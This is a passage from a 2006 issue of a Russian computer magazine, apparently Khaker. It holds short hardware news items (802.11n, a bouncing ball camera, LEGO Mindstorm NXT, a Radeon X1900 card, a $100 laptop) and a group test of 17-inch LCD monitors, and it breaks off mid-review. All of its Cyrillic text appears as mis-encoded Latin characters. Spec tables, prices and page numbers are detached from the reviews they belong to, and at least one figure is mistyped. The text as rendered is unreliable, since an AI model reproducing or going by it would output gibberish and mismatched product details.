Íàîáîðîò, îíè èäóò âïåðåä. Íåäàâíî â ìåæäóíàðîäíóþ îðãàíèçàöèþ IEEE áûëè îòïðàâëåíû îäîáðåííûå âñåìè ó÷àñòíèêàìè Wi-Fi êîíñîðöèóìà äîêóìåíòû, êàñàþùèåñÿ íîâîãî ñòàíäàðòà 802.11n. Íàì îáåùàþò: ÷òî åãî ñêîðîñòü áóäåò â ïÿòü ðàç ïðåâûøàòü âîçìîæíîñòè 892.11g; ðàáîòó ñ íåñêîëüêèìè àíòåííàìè; óëó÷øåíèÿ, êàñàþùèåñÿ íàäåæíîñòè è áåçîïàñíîñòè ñâÿçè. Ê ñîæàëåíèþ, ðàíüøå ñëåäóþùåãî ãîäà ýòîò ñòàíäàðò âðÿä ëè ñìîæåò ïîÿâèòüñÿ íà ðûíêå.


HITECHNEWS

HITECHNEWS

ÏÎÏÐÛÃÓÍ×ÈÊ

Äèçàéíåðû Eschel Jacobsen è Mads Ny Larsen ðåøèëè ïî ìàêñèìóìó çàäåéñòâîâàòü ñâîå êðåàòèâíîå ìûøëåíèå è ïðèäóìàòü ñàìóþ íåñòàíäàðòíóþ â ìèðå ôîòîêàìåðó.  ðåçóëüòàòå ó íèõ ïîëó÷èëñÿ ãèáðèä ôîòîàïïàðàòà è ìÿ÷èêà-ïîïðûãóí÷èêà, êîòîðûé áûë íàçâàí satuGO. Åñòåñòâåííî, äåâàéñ ñòîïðîöåíòíî ïðîòèâîóäàðíûé è ïðè ýòîì âåëèêîëåïíî ïðûãàåò.  ìîìåíò ñòîëêíîâåíèÿ ñ òâåðäîé ïîâåðõíîñòüþ satuGO âñïîìèíàåò, ÷òî îí çàîäíî è ôîòîàïïàðàò, è äåëàåò ñíèìîê. Óñòðîéñòâî ìîæíî çàñòàâèòü äåëàòü ñíèìêè ïî òàéìåðó. Ýòî, íàïðèìåð, ìîæåò ïðèãîäèòüñÿ, åñëè âîçíèêíåò æåëàíèå ñäåëàòü ôîòî âûñîêî íàä çåìëåé. Òàêèì âîò îáðàçîì, ïîñëå îïðåäåëåííîé òðåíèðîâêè, ìîæíî áóäåò íàó÷èòüñÿ ñíèìàòü ïòèö â ïîëåòå èëè ñîñåäêó ýòàæîì âûøå. Äîïîëíèòåëüíî ó satuGO åñòü è áîëåå ïðèçåìëåííûå ïðèìåíåíèÿ: åãî ìîæíî èñïîëüçîâàòü êàê âåá-êàìåðó, îáû÷íûé ôîòîàïïàðàò è ìîáèëüíûé íîñèòåëü èíôîðìàöèè. Ê êîìïüþòåðó äåâàéñ ïîäêëþ÷àåòñÿ ÷åðåç USB, ïðè÷åì ñîåäèíèòåëüíûé êàáåëü ìîæåò ñìàòûâàòüñÿ âíóòðü «êîðïóñà». Ïîêà áîëåå ïîäðîáíûå õàðàêòåðèñòèêè íîâèíêè íå ðàçãëàøàþòñÿ, íî íà èãðóøêó óæå ìîæíî ñäåëàòü ïðåäâàðèòåëüíûé çàêàç, îòäàâ çà íåå âñåãî 69 àìåðèêàíñêèõ ïðåçèäåíòîâ.

ÖÈÔÐÎÂÎÉ ÁÈÍÎÊËÜ Êîëè÷åñòâî óñòðîéñòâ, êîòîðûå äî ñèõ ïîð íå áûëè ïðåäñòàâëåíû â ýëåêòðîííîì âèäå, ñ êàæäûì ãîäîì ñòàíîâèòñÿ âñå ìåíüøå è ìåíüøå. Òåïåðü î÷åðåäü äîøëà è äî áèíîêëåé. Òàê, êîìïàíèÿ Sightwave àíîíñèðîâàëà âåñüìà ëþáîïûòíûé ïðîòîòèï ïîëíîñòüþ öèôðîâîãî áèíîêëÿ Digiviewer. Äëÿ ïîëó÷åíèÿ èçîáðàæåíèÿ èñïîëüçóåòñÿ ñòàíäàðòíàÿ òåõíîëîãèÿ CCD-ìàòðèö, à âûâîäèòñÿ èçîáðàæåíèå íà íåáîëüøîé LCD-äèñïëåé, óñòàíîâëåííûé âíóòðè. Ïðè ýòîì õàðàêòåðèñòèêè íîâîèñïå÷åííîãî äåâàéñà íàõîäÿòñÿ íà âïîëíå ïðèåìëåìîì óðîâíå — óâåëè÷åíèå ñêëàäûâàåòñÿ èç 22-êðàòíîãî îïòè÷åñêîãî è 10-êðàòíîãî öèôðîâîãî. Ê ñîæàëåíèþ, êîíêðåòíûå ñðîêè è îðèåíòèðîâî÷íàÿ öåíà ïîêà íå àôèøèðóþòñÿ, íî ðàçðàáîò÷èêè íàäåþòñÿ èñïðàâèòü ýòî óæå â áëèæàéøåå âðåìÿ.

014

ÑÅÐÜÅÇÍÛÉ ÊÎÍÑÒÐÓÊÒÎÐ Êàê èçâåñòíî, êîðïîðàöèÿ LEGO óæå äàâíî ïðîèçâîäèò êîíñòðóêòîðû íå òîëüêî äëÿ äåòåé ñòàðøåãî äîøêîëüíîãî âîçðàñòà, íî è âïîëíå ñåðüåçíûå èãðóøêè, êîòîðûå ïðèäóòñÿ ïî âêóñó ïðàêòè÷åñêè âñåì, íà÷èíàÿ îò òèíýéäæåðîâ è çàêàí÷èâàÿ ïåíñèîíåðàìè. Íà âûñòàâêå CES 2006 êîìïàíèÿ â î÷åðåäíîé ðàç ïîäòâåðäèëà ñâîé ñòàòóñ «êðóòåéøåãî ïðîèçâîäèòåëÿ êîíñòðóêòîðîâ», ïðåäñòàâèâ îáíîâëåííóþ âåðñèþ êîìïëåêòà äëÿ ñáîðêè ðîáîòîâ Mindstorm NXT. Ðîáîòû, ïîñòðîåííûå ïî íîâîìó îáðàçöó, ñòàíóò çàìåòíî óìíåå, ñèëüíåå è êóäà ñèìïàòè÷íåå. Ãëàâíóþ ðîëü â æèçíè êàæäîãî Mindstorm-ðîáîòà áóäåò èãðàòü öåíòðàëüíûé áëîê NXT, îñíîâàííûé íà 32-áèòíîì ìèêðîïðîöåññîðå. Ïîâåäåíèå ïèòîìöà ïîëíîñòüþ ïîääàåòñÿ ïðîãðàììèðîâàíèþ ñ êîìïüþòåðà (PC èëè Mac), ïðè÷åì ñîåäèíåíèå âîçìîæíî ÷åðåç USB èëè Bluetooth-èíòåðôåéñû. Ðîáîò ñïîñîáåí ðàáîòàòü êàê àâòîíîìíî, òàê è óïðàâëÿòüñÿ äèñòàíöèîííî ñ ïîìîùüþ ÏÊ, ÊÏÊ èëè ìîáèëüíèêà ÷åðåç Bluetooth.  êîìïëåêòå, êðîìå öåíòðàëüíîãî áëîêà, áóäåò ïîñòàâëÿòüñÿ íåñêîëüêî ñåðâîïðèâîäîâ, ìíîæåñòâî äàò÷èêîâ è ñåíñîðîâ (ñâåòîâûõ, çâóêîâûõ, óëüòðàçâóêîâûõ, ïðèêîñíîâåíèÿ), à òàêæå íåñìåòíîå êîëè÷åñòâî ñòàíäàðòíûõ êîíñòðóêòîðíûõ äåòàëåé. Òàêîãî âîò íàáîðà äîñòàòî÷íî äëÿ ñáîðêè ðîáîòà ïðàêòè÷åñêè ëþáîãî êëàññà (ãóìàíîèäà, àâòîìîáèëÿ). Íà÷àëî ïðîäàæ çàïëàíèðîâàíî íà àâãóñò ýòîãî ãîäà, à ìèíèìàëüíàÿ öåíà êîìïëåêòà ñîñòàâèò ïðèìåðíî 250 áàêñîâ, ÷òî, â ïðèíöèïå, óìåðåííî äëÿ èãðóøêè òàêîãî êëàññà. XÀÊÅÐ 02 /86/ 06


HARDNEWS

ÌÓÇÛÊÀ ÁÅÇ ÏÐÎÂÎÄÎÂ

Ïðîâîäà ìåøàþò âñåì: îíè çìåÿòñÿ ïî ïîìåùåíèÿì, âüþòñÿ ïî ñòåíàì, îïëåòàþò íîãè è âûãëÿäèò ýòî âñå, ÷åñòíî ãîâîðÿ, íåñèìïàòè÷íî. Ê òîìó æå ñ íèìè ìíîãî âîçíè âî âðåìÿ ìîíòàæà óñòðîéñòâà.  ñôåðå ìóçûêàëüíîãî îáîðóäîâàíèÿ ýòó ïðîáëåìó ðåøèëà êîìïàíèÿ Philips, îíà ñîçäàëà áåñïðîâîäíóþ àóäèîñèñòåìó Streamium WACS5, â êîòîðîé ìóçûêà ïåðåäàåòñÿ íà êîëîíêè ïîñðåäñòâîì èíòåðôåéñà Wi-Fi, ñëåäîâàòåëüíî, íàäîáíîñòü â ïðîâîäàõ îòïàäàåò. Äîñòàòî÷íî îäèí ðàç çàãðóçèòü ìóçûêàëüíóþ êîëëåêöèþ â ñèñòåìó, WACS5 ïåðåäàñò åå íà 5 íåçàâèñèìûõ ñòàíöèé è îáåñïå÷èò áåñïðîâîäíîé äîñòóï ê ìóçûêå äëÿ ìíîãî÷èñëåííûõ ïîëüçîâàòåëåé ïî âñåìó äîìó. Ñèñòåìà ìîæåò ïðîèãðûâàòü îäíó èëè íåñêîëüêî êîìïîçèöèé îäíîâðåìåííî íà âñåõ ñòàíöèÿõ. Çàïèñè ñ CD ïðåîáðàçîâûâàþòñÿ â MP3-ôàéëû è õðàíÿòñÿ íà æåñòêîì äèñêå îáúåìîì 80 Ãá. Ìóçûêàëüíûé öåíòð âîñïðîèçâîäèò ôîðìàòû CD, CD-R, CD-RW, MP3 è WMA. Èíòåðåñíî, êîãäà æå ïðîâîäà èñ÷åçíóò êàê êëàññ?

SAPPHIRE È RADEON X1900 Äàâíèøíèå êîíêóðåíòû nVidia è ATI íà÷àëè î÷åðåäíîé ýòàï ñâîåé áåñêîíå÷íîé áèòâû! Íåäàâíî âûïóùåííûå ÷èïñåòû íîâûõ ìîäèôèêàöèé óæå ïîñòóïèëè ê ïðîèçâîäèòåëÿì âèäåîïëàò, è òåïåðü òå âîâñþ äåëàþò ìîùíåéøèå óñêîðèòåëè. Êîìïàíèÿ Sapphire îáúÿâèëà î âûïóñêå ïëàò íà áàçå ÷èïîâ ATI Radeon X1900. Îñíîâíûå õàðàêòåðèñòèêè ýòîãî ãðàôè÷åñêîãî ïðîöåññîðà òàêîâû: 48-ïèêñåëüíûõ è 8 âåðøèííûõ êîíâåéåðîâ, ïîääåðæêà Shader Model 3.0. Ñàìàÿ ïðîèçâîäèòåëüíàÿ ïëàòà íîâîé ëèíåéêè ïîñò-

ðîåíà íà ÷èïå X1900XT, îíà èìååò ïîâûøåííûå (ïî ñðàâíåíèþ ñ ðåôåðåíñíûìè) çíà÷åíèÿ ÷àñòîò ïàìÿòè è ÿäðà (775 (1550) è 650 ÌÃö). Êðîìå òîãî, â ñåðèè áóäóò ñïåöèàëüíûå ïëàòû CrossFire Edition, êîòîðûå áóäóò ïîääåðæèâàòü ðàáîòó â äóàëüíîì ðåæèìå. Âñå ïëàòû îñíàùàþòñÿ 512 Ìá ïàìÿòè GDDR3 è èìåþò â êîìïëåêòå ïîñòàâêè DVD ñ èãðàìè.

MUSTEK DVD ÂÑÅÃÄÀ Ñ ÒÎÁÎÉ Ïëååðîì, êîòîðûé ìîæíî íîñèòü ñ ñîáîé, óæå äàâíî íèêîãî íå óäèâèøü. Ìóçûêàëüíûå è ïðîñìàòðèâàþùèå ôîòî è âèäåîêîíòåíò (íà flash-ïàìÿòè è íà æåñòêèõ äèñêàõ), à òàêæå êó÷à ðàçíûõ äðóãèõ óñòðîéñòâ òîæå âñåì èçâåñòíû. À âîò êîìïàíèÿ Mustek ïðåäëàãàåò òåáå ïðîäâèíóòóþ ìîäåëü ïëååðà, êîòîðûé ðàáîòàåò ñ DVD-äèñêàìè. Ýòî äëÿ òåõ, êòî öåíèò êà÷åñòâî è ëþáèò ôîðìàò DVD. Íàçûâàåòñÿ íîâèíêà MP100, à ïîÿâèòñÿ îíà â Ðîññèè â ñåðåäèíå âåñíû. Äëÿ ïðîñìîòðà ôèëüìîâ ó íåãî èìååòñÿ 10-äþéìîâûé ÆÊ-ýêðàí, ñòîðîíû êîòîðîãî ñîîòíîñÿòñÿ êàê 16:9. Åùå îí îòëè÷àåòñÿ âîçìîæíîñòüþ âðàùàòüñÿ íà 180 ãðàäóñîâ, òàê ÷òî êàê áû òû íè ñèäåë, ïðîñìîòð âñåãäà áóäåò óñïåøåí. Ïîääåðæèâàåòñÿ êó÷à ôîðìàòîâ: DVD, DVD+/R/RW, CD, CD-R/RW, MPEG4, DivX (3.11, 4.0,5.x), XviD, AVI, Kodak Picture CD è JPEG. Êðîìå òîãî, èìååòñÿ âñòðîåííûé êàðäðèäåð. Äëÿ ïðîñëóøèâàíèÿ èìåþòñÿ äâà âàðèàíòà — íàóøíèêè èëè âñòðîåííûå êîëîíêè.  îáùåì, âåñíà íàñ îæèäàåò âåñåëàÿ.


ÕÀÊÅÐ ÐÅÊÎÌÅÍÄÓÅÒ ///// ISSUE

Íåîáû÷íûì ïðîåêòîì çàíèìàþòñÿ ñåé÷àñ â ëàáîðàòîðèè Media Lab Ìàññà÷óñåòñêîãî òåõíîëîãè÷åñêîãî èíñòèòóòà (MIT). Èíæåíåðû ñàìîãî ïîïóëÿðíîãî òåõíîâóçà ïëàíåòû ñ ïîäà÷è îðãàíèçàöèè îáúåäèíåííûõ íàöèé òðóäÿòñÿ íàä ñîçäàíèåì íîóòáóêà ñòîèìîñòüþ âñåãî $100. Òàêàÿ íåâûñîêàÿ öåíà — ãëàâíîå òðåáîâàíèå ê ðàçðàáîòêå: íîóòáóêè ýòè ïðåäíàçíà÷åíû äëÿ äåòåé â ðàçâèâ��þùèõñÿ ñòðàíàõ. Íó, âðîäå Íèãåðèè, Êàìåðóíà è Åãèïòà. Âî âñåé ýòîé èñòîðèè èíòåðåñíî òîëüêî îäíî: êàêóþ æå êîìïëåêòàöèþ óäàëîñü ðàçðàáîò÷èêàì íàáðàòü íà $100?

$ $ $ $ $

Íî ñàìàÿ ãëàâíàÿ ôèøêà äåâàéñà — ýòî ðó÷êà, âðàùàÿ êîòîðóþ, àôðèêàíñêèå äåòè ñìîãóò ïîäêà÷àòü ìóñêóëàòóðó, à çàîäíî çàðÿäèòü àêêóìóëÿòîð.  îáùåì, íå íîóòáóê, à ìå÷òà. Ãîðëóì óæå ðåøèë ìåíÿòü ñâîé Asus S200N, à òî ãäå åùå âñòðåòèøü òàêóþ êðóòóþ ðó÷êó?

Ïðîöåññîð ó ñóïåðáþäæåòíîãî íîóòáóêà êðóòîé, êàê è öåíà, íå ïîäñòóïèòüñÿ: êàìåíü AMD ñ ÷àñòîòîé â 500 ÌÃö. Âìåñòî âèí÷åñòåðà ó íîâèíêè èñïîëüçóåòñÿ ôëåøêà îáúåìîì 1 Ãá. Ñàìàÿ äîðîãàÿ ÷àñòü íîóòáóêà — äèñïëåé ñ äèàãîíàëüþ 7” è íèçêèì ýíåðãîïîòðåáëåíèåì. Òàê æå íîóòáóê, âïîëíå îæèäàåìî, îñíàùåí Wi-Fi êîíòðîëëåðîì. Ó íîóòà åñòü ÷åòûðå ïîðòà USB, ìèêðîôîí è íåáîëüøîé äèíàìèê.

016

XÀÊÅÐ 02 /86/ 06


SAMSUNG SyncMaster 740t

EIZO FlexScan L578

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 250 Êîíòðàñò: 1500:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 25 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 178/178 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’’03 Ðàçìåðû, ìì: 362x389x200 Âåñ, êã: 4,6

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 250 Êîíòðàñò: 1000:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 16 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 178/178 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’’03 Ðàçìåðû, ìì: 441x274x200 Âåñ, êã: 5,6

$369

$518

Ìîíèòîð, îáëàäàþùèé ïðàêòè÷åñêè èäåàëüíîé öâåòîïåðåäà÷åé, î ÷åì ãîâîðèò êîëîðèìåòðè÷åñêàÿ äèàãðàììà: âñå òðè ëèíèè ïî÷òè ïðÿìûå — íåçíà÷èòåëüíûå èñêàæåíèÿ åñòü òîëüêî â ñàìîì íà÷àëå äèàïàçîíà, ê òîìó æå îíè ïðàêòè÷åñêè ñîâìåùåíû ìåæäó ñîáîé.  òî æå âðåìÿ ëàòåíòíîñòü ìàòðèöû âûñîêîâàòà — çà äâèæóùèìèñÿ îáúåêòàìè íà êîíòðàñòíîì ôîíå âèäåí çàìåòíûé øëåéô. ßðêîñòü è êîíòðàñòíîñòü íà õîðîøåì óðîâíå, à, ïîìèìî ïîëüçîâàòåëüñêèõ íàñòðîåê ïàðàìåòðîâ êàðòèíêè, åñòü åùå ôèêñèðîâàííûå, ïðåäíàçíà÷åííûå äëÿ ðàçëè÷íûõ âèäîâ äåÿòåëüíîñòè: òåêñò, Èíòåðíåò, èãðà, ñïîðò, êèíî. Ðàäóåò õîðîøî ïðîäóìàííàÿ ýðãîíîìèêà äåâàéñà: ýêðàí ìîæíî äâèãàòü ââåðõ/âíèç îòíîñèòåëüíî ïîâåðõíîñòè ñòîëà èëè ðàçâîðà÷èâàòü åãî â ðåæèì «ïîðòðåò». Ìåíþ ïîäðîáíîå, íà ðóññêîì ÿçûêå, íî âîò íàâèãàöèÿ ïî íåìó íå ñàìàÿ óäîáíàÿ. Î÷åíü õîðîøèå óãëû îáçîðà: èçìåíåíèå öâåòà èçîáðàæåíèÿ ïðîèñõîäèò ëèøü ïðè áîëüøèõ îòêëîíåíèÿõ îò öåíòðà ýêðàíà.  ñòàíèíå èìååòñÿ ïîäâèæíûé êðóã, áëàãîäàðÿ êîòîðîìó ïðè ïîâîðîòàõ ìîíèòîðà íå áóäåò öàðàïàòüñÿ ïîâåðõíîñòü ñòîëà.

018

Îäèí èç ñàìûõ ïðîäâèíóòûõ ìîíèòîðîâ â îáçîðå: îí îñíàùåí âñåìè ôóíêöèÿìè, íåîáõîäèìûìè äëÿ ìóëüòèìåäèéíîãî óñòðîéñòâà. Ýòî, íàïðèìåð, êà÷åñòâåííûå äèíàìèêè — ïî õàðàêòåðèñòèêàì çâó÷àíèÿ èõ ìîæíî ñðàâíèòü ñî ñðåäíèìè âûíîñíûìè êîëîíêàìè: õîðîøî ïðîñëóøèâàþòñÿ íèçêèå è ñðåäíèå ÷àñòîòû, íà âûñîêèõ ãðîìêîñòÿõ íå ñëûøíî âèáðàöèé. Íåìíîãî ïîäâîäÿò áàñû, íî ðåçóëüòàò âñå ðàâíî î÷åíü õîðîøèé. Êà÷åñòâî èçîáðàæåíèå òàêæå ïîðàäîâàëî: êîëîðèìåòðè÷åñêàÿ äèàãðàììà õîòü íåìíîãî õóæå, ÷åì ó ïðåäûäóùåãî äåâàéñà, íî òîæå åé íå óñòóïàåò: âñå ãðàôèêè ðîâíûå, ìàêñèìàëüíî ïðèáëèæåíû äðóã ê äðóãó, à íåáîëüøèå ñêà÷êè ëèøü â ñàìîì íà÷àëå äèàïàçîíà. Íèçêàÿ ëàòåíòíîñòü ìàòðèöû: äâèæóùèéñÿ áåëûé êâàäðàòèê ïî ÷åðíîìó ôîíó ïî÷òè íå ðàçìûâàåòñÿ è øëåéôà çà íèì íå âèäíî. Âûñîêèé óðîâåíü ìàêñèìàëüíîé ÿðêîñòè: åãî áóäåò õâàòàòü äëÿ ðàáîòû äàæå ïðè î÷åíü ÿðêîì ñâåòå. Èç íåäîñòàòêîâ ìîæíî îòìåòèòü íå ñàìîå óäîáíîå ìåíþ, à èìåííî: èêîíêè èìåþò ñîâñåì íåáîëüøîé ðàçìåð, ÷òî íåìíîãî ðàçäðàæàåò. Óäèâëÿåò ðàñïîëîæåíèå êíîïîê íàâèãàöèè íà ïåðåäíåé ïàíåëè: äâå ðàçíîèìåííûå êíîïêè ïî÷åìó-òî ðàñïîëîæåíû íå ðÿäîì äðóã ñ äðóãîì, à ìåæäó äâóìÿ äðóãèìè. Ñòàíèíà âûïîëíåíà êà÷åñòâåííî, à íà íèæíåé åå ÷àñòè ðàñïîëîæåí ïîâîðîòíûé êðóã. XÀÊÅÐ 02 /86/ 06


SAMSUNG SyncMaster 740t EIZO FlexScan L578 BENQ FP202W ViewSonic VX724 BENQ FP71V SONY SDM-S75F ACER AL1751 NEC MultySync 70GX2 ROVERSCAN OPTIMA 170 CTX X782

ÌÎÍÈÒÎÐÛ Â ÏÐÀÂÈËÜÍÎÌ ÔÎÐÌÀÒÅ Øåõòìàí Àëåêñàíäð test_lab (test_lab@gameland.ru) Intro

Ìåòîäèêà òåñòèðîâàíèÿ

Âûâîäû

Öåíû íà æèäêîêðèñòàëëè÷åñêèå ìîíèòîðû ñíèæàþòñÿ âñå ñèëüíåå, òåõíîëîãèè ïðîèçâîäñòâà ñîâåðøåíñòâóþòñÿ. Òàê ÷òî óæå ñåé÷àñ ïðàêòè÷åñêè ëþáîé ïîëüçîâàòåëü ñìîæåò ñåáå êóïèòü êà÷åñòâåííûé LCD’øíèê.  òåñòå ìû ðàññìîòðèì íåñêîëüêî ìîíèòîðîâ, íàõîäÿùèõñÿ â ðàçëè÷íûõ öåíîâûõ äèàïàçîíàõ è îáëàäàþùèõ ðàçëè÷íûì êà÷åñòâîì èçîáðàæåíèÿ, ÷òîáû ïîëüçîâàòåëü ìîã âûáðàòü ñåáå LCD17 ïî çàïðîñàì è ïî êàðìàíó.

Öâåòîïåðåäà÷à òåñòèðîâàëàñü ñ ïîìîùüþ êîëîðèìåòðà, êîòîðûé âûäàâàë ñïåöèàëüíûé ãðàôèê, ñîñòîÿùèé èç òðåõ ëèíèé, îòâå÷àþùèõ çà îñíîâíûå öâåòà ïàëèòðû (êðàñíûé, çåëåíûé, ñèíèé).  èäåàëå ãðàôèêè äîëæíû èìåòü âèä ïðÿìûõ, ñîâïàñòü ìåæäó ñîáîé è ïðîõîäèòü èç ëåâîãî íèæíåãî â ïðàâûé âåðõíèé óãîë. ×åì áîëüøå îòêëîíåíèå îò ýòîãî èäåàëà, òåì áîëüøå ó ìîíèòîðà ïðîáëåì ñ öâåòîïåðåäà÷åé. Âðåìÿ îòêëèêà ïèêñåëåé îöåíèâàëîñü âèçóàëüíî: ïðîãðàììà TFTtest âûäàâàëà íà ýêðàí ÷åðíûé ôîí è áåëûé äâèæóùèéñÿ êâàäðàòèê, è íóæíî áûëî îòñëåäèòü íàñ-

êîëüêî ñèëüíî îí ðàçìûâàåòñÿ. ×åì ìåíüøå ýòî ðàçìûòèå, òåì ìåíüøå âðåìÿ îòêëèêà. Ïðîâåðÿëèñü ÿðêîñòü è êîíòðàñòíîñòü, èõ ìàêñèìàëüíîå çíà÷åíèå è øèðîòà äèàïàçîíà èçìåíåíèÿ. Äëÿ ïðîâåðêè ðàâíîìåðíîñòè çàñâåòêè ìàòðèöû íà ýêðàí âûâîäèëñÿ áåëûé, à ïîòîì — ÷åðíûé öâåò, ïîñëå ÷åãî íàäî áûëî ïðîñëåäèòü, ñèëüíû ëè ðàçëè÷èÿ â ÿðêîñòè â ðàçíûõ òî÷êàõ ýêðàíà. Îöåíèâàëèñü è óãëû îáçîðà, îò êîòîðûõ çàâèñèò, íàñêîëüêî ñèëüíî ìåíÿåòñÿ êàðòèíêà ïðè âçãëÿäå íà ìîíèòîð: ñáîêó, ñâåðõó èëè ñíèçó. Áûëè ó÷òåíû òàêæå èíäèâèäóàëüíûå îñîáåííîñòè ìîíèòîðîâ.

Ïîñëå ïðîâåäåíèÿ âñåõ òåñòîâ âèäíî, ÷òî ñåé÷àñ ìîæíî ïîäîáðàòü ìîíèòîð ïðàêòè÷åñêè ïîä ëþáûå íóæäû, è ïðè ýòîì öåíà åãî áóäåò âåñüìà äåìîêðàòè÷íà. Òåïåðü î íàãðàäàõ: «ëó÷øåé ïîêóïêîé» ñòàë SAMSUNG SyncMaster 740t çà âûñîêîå êà÷åñòâî èçîáðàæåíèÿ, à «âûáîðà ðåäàêöèè» óäîñòîåí EIZO FlexScan L578 çà õîðîøåå èçîáðàæåíèå è ìàêñèìàëüíóþ íàñûùåííîñòü ôóíêöèÿìè. Ðåäàêöèÿ âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèÿì: Rover(www.roverscan.ru), Äèñòè Ãðóïï (www.disti.ru), à òàêæå ðîññèéñêèì ïðåäñòàâèòåëüñòâàì êîìïàíèé Viewsonic, Acer, Sony, Samsung, CTX, BenQ.

XÀÊÅÐ 02 /86/ 06

019


2

1

4

3

5 6


ViewSonic VX724

4

SONY SDM-S75F

5

BENQ FP71V

6

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 500:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 3 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 160/160 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 388x438x176 Âåñ, êã: 5,0

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 450:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 12 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 160/160 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 315x369x66 Âåñ, êã: 4,3

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 500:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 5 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 140/130 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 376x386x201 Âåñ, êã: 4,7

$363

$395

$351

Äåâàéñ îò îäíîãî èç ñàìûõ èçâåñòíûõ ïðîèçâîäèòåëåé îòëè÷àåòñÿ ïðîñòîòîé â ôîðìàõ: íèêàêèõ èçëèøåñòâ, âñå ëèíèè ðîâíûå è ëèøü óãëû ñëåãêà ñêðóãëåíû. Î÷åíü õîðîøàÿ ëàòåíòíîñòü ìàòðèöû: äâèæóùèéñÿ êâàäðàòèê ëèøü ÷óòü ðàçìûâàåòñÿ. Íåâûñîêàÿ ìàêñèìàëüíàÿ ÿðêîñòü: åñëè â êîìíàòå, ãäå òû íàõîäèøüñÿ, åñòü ìîùíûå ñâåòèëüíèêè, òî ðàáîòà ñ òåìíûìè èçîáðàæåíèÿìè áóäåò çàòðóäíåíà. Îãîð÷èëà ðàâíîìåðíîñòü çàñâåòêè ìàòðèöû: åñëè íà íåå âûâåñòè ÷åðíûé öâåò, òî ñ îáîèõ êðàåâ è ñíèçó âèäíû õàðàêòåðíûå áåëûå ðàçâîäû. Äèàãðàììà, ïîëó÷åííàÿ ñ ïîìîùüþ êîëîðèìåòðà, ïîêàçàëà íå ñàìóþ ëó÷øóþ â îáçîðå öâåòîïåðåäà÷ó: òî ñõîäÿùèåñÿ, òî ðàñõîäÿùèåñÿ íåðîâíûå ëèíèè, à â íà÷àëå âèäåí ñêà÷åê íà êðàñíîì ãðàôèêå. Ìåíþ óäîáíîå è ïîäðîáíîå, ïðè÷åì âñå ìàíèïóëÿöèè îñóùåñòâëÿþòñÿ ñ ïîìîùüþ âñåãî ÷åòûðåõ êíîïîê. Íàäî îòìåòèòü, ÷òî äëÿ ðåãóëèðîâêè ÿðêîñòè è êîíòðàñòíîñòè íåîáÿçàòåëüíî ëàçèòü â ìåíþ, òàê êàê îíè âûíåñåíû íà ïåðåäíþþ ïàíåëü. Íîæêà ñòàíèíû âûñîêàÿ, òàê ÷òî Viesonic VX724 æåëàòåëüíî ñòàâèòü íà íèçêèé ñòîë.

Ìîíèòîð ñ îäíèì èç ëó÷øèõ â îáçîðå öâåòîîòîáðàæåíèåì! Êîëîðèìåòðè÷åñêèå ãðàôèêè ïî÷òè èäåàëüíî ñîâïàäàþò ìåæäó ñîáîé è äèàãîíàëüþ êâàäðàòà. Åñòü íåáîëüøîå ðàñõîæäåíèå â íà÷àëå äèàïàçîíà, íî îíî ñîâñåì íåçíà÷èòåëüíîå. Çà äâèæóùèìñÿ êâàäðàòèêîì âèäåí íåáîëüøîé øëåéô, ÷òî ãîâîðèò î âûñîêîé, ïî ñðàâíåíèþ ñ áëèæàéøèìè êîíêóðåíòàìè, ëàòåíòíîñòüþ ìàòðèöû. Óðîâíè ÿðêîñòè è êîíòðàñòíîñòè íå ñàìûå ëó÷øèå, íî äëÿ íîðìàëüíûõ óñëîâèé èõ õâàòàåò ñ çàïàñîì. Ïîìèìî ÿðêîñòè, åñòü åùå è òàê íàçûâàåìàÿ ïîäñâåòêà, êîòîðàÿ, ïî ñóòè, ÿâëÿåòñÿ åå äîïîëíèòåëüíûì äèàïàçîíîì. Óãëû îáçîðà ïî âåðòèêàëè íåâûñîêèå. Åñëè ñìåñòèòü îñü çðåíèÿ ÷óòü âíèç, òî èçîáðàæåíèå íà÷èíàåò òóñêíåòü. Íåáîëüøèå òðóäíîñòè ñ ðàñïðåäåëåíèåì ÿðêîñòè ïî ïîâåðõíîñòè ýêðàíà: â íèæíåé åãî ÷àñòè îíà ÷óòü âûøå, ÷åì âî 